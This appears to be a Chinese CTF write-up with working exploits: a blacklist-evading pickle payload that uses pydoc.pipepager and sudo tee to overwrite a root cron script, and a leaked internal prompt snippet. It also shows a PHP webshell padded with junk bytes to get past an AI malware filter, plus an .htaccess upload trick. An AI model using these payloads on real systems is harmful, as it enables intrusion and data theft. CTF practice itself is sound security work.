上传黑名单把os、system、exec、subprocess、popen、run这些直观利用点几乎全封掉了
应该去找一个不显眼但同样会启动进程的标准库函数
pydoc.pipepager(text, cmd)很合适:名字短,不在黑名单里,但内部会执行cmd,并把text通过管道喂给它
让他执行sh,把sudo -n -l的输出写到/tmp/l,读回来的结果是:
User ctf may run the following commands on ...: (root) NOPASSWD: /usr/bin/tee /opt/cleanup.sh上传内容必须同时满足:
- 总长度不超过 60 字节。
- 不能出现
flag、os、system等黑名单关键词。 - 不能有换行。
- 最终还得完成“把 root 脚本写进
/opt/cleanup.sh”这件事。
pydoc.pipepager("cat /f*>/tx", "sudo -n tee /o*/c*")对应的 pickle 原始载荷是:
b'\x80\x04\x8c\x05pydoc\x8c\x09pipepager\x93\x8c\x0bcat /f*>/tx\x8c\x12sudo -n tee /o*/c*\x86R.'长度 57 字节,成功卡进限制内。
一旦这个 payload 被 admin 触发,/opt/cleanup.sh就会被 root 权限重写成“读/flag并写到/tx”的脚本,剩下只要等 cron。
上传最终 payload 后,请求/pic?pic=payload返回 500,没关系,我们只要在乎有没有执行成功
立刻回头读取/opt/cleanup.sh
读回来的内容确实已经变成:
cat /f*>/tx二进制方式读取/tx,原始内容是:
b'flag{1jslb02eu7j76r12pk9v1hq1lkprsn45}}\n'Prompt Vault
预览客服回复模板,找出隐藏在内部片段中的动态 flag。
提供了多个按键,通过 /api/promptlets 异步加载可用的片段名称,还有渲染后预览按钮
但是测试多个常规ssti payload均不被解析
看眼源代码
fetch('/api/promptlets').then(r => r.json()).then(d => { if (d.success) { snips.textContent = ''; d.promptlets.forEach(n => { var b = document.createElement('button'); b.textContent = n; b.onclick = () => { if (draft.value && !draft.value.endsWith('\n')) draft.value += '\n'; draft.value += '{{ include_prompt("' + n + '") }}'; }; snips.appendChild(b); }); } }).catch(() => { snips.textContent = 'load failed'; }); document.getElementById('runBtn').onclick = () => { fetch('/api/preview', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({user_input: draft.value}) }).then(r => r.json()).then(d => { if (d.success) { output.textContent = d.final_preview; output.className = ''; } else { output.textContent = d.error; output.className = 'err'; } }).catch(() => { output.textContent = 'request failed'; output.className = 'err'; }); };扫api端口
发现/api/help
{ "about": "ReplyKit previews CX reply drafts. Public snippets in /api/promptlets. Refund/SLA/compliance drafts use the internal review_gate snippet.", "ok": true, "syntax": "{{ include_prompt(\"name\") }}" }Refund/SLA/compliance草稿使用内部review_gate代码片段
说实话没很看懂这英文的逻辑
最终payload
{{ include_prompt("review_gate") }}MalCraft
某科技公司开发了一套 AI 文档管理系统,声称可通过内容分析引擎阻挡恶意上传。一次安全检查中,审计人员发现系统留下了被绕过的痕迹与加密的访问日志备份;请还原相关证据,找出攻击者 IP、关键日志 ID 以及被窃取的机密文件名称,并在题目中提交即可获取flag。
- 文件上传区(调用 upload.php)
- 已归档文件列表(调用 list.php,每 5 秒刷新)
- AI 分析结果查看(调用 analyze.php)
- 下载已归档文件(调用 download.php?file=xxx)
- 导航栏还有一个 "Evidence Submission" 链接(submit.php)
提交已找回的攻击者IP、密钥日志ID以及被盗的机密文件名。最终结果仅在三个值完全匹配时才会返回。尝试通过 download.php?file=../../../etc/passwd 进行路径穿越,返回 "Invalid file path"。尝试 download.php?file=config.php 返回 "File not found"。
上传 .php 文件返回 "Unsupported file type"。上传 .txt 文件成功。但上传 .htaccess 文件也成功了!
上传一个一句话木马.txt
AI detected malicious content in the first 1KB of the file所以我们在一句话木马前填充一些垃圾字节
.htaccess
AddType application/x-httpd-php .txt构造payload
$padding = "A" x 2048; $phpcode = "<?php echo file_get_contents('/var/www/html/config.php'); ?>"; $content = $padding . "\r\n" . $phpcode;成功拿到config.php,证明可行
再执行
<?php echo shell_exec('find /var/www -type f 2>&1'); ?>返回结果中出现了关键文件:
/var/www/html/uploads/admin/db_backup.conf /var/www/html/uploads/admin/upload_logs/.hash_record /var/www/html/uploads/admin/upload_logs/access.log /var/www/html/uploads/admin/upload_logs/access.log.backup存在一个隐藏的 admin/ 目录,包含:
- db_backup.conf — 数据库备份配置文件(内含加密密钥!)
- upload_logs/access.log — 明文访问日志
- upload_logs/access.log.backup — 访问日志备份(加密的)
- .hash_record — 日志完整性哈希记录
<?php echo file_get_contents('/var/www/html/uploads/admin/db_backup.conf'); ?>返回内容:
[integrity] # Log integrity verification enabled # Backup encryption: XOR with db_password # Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07 [database] password = AIDoc#2024Secure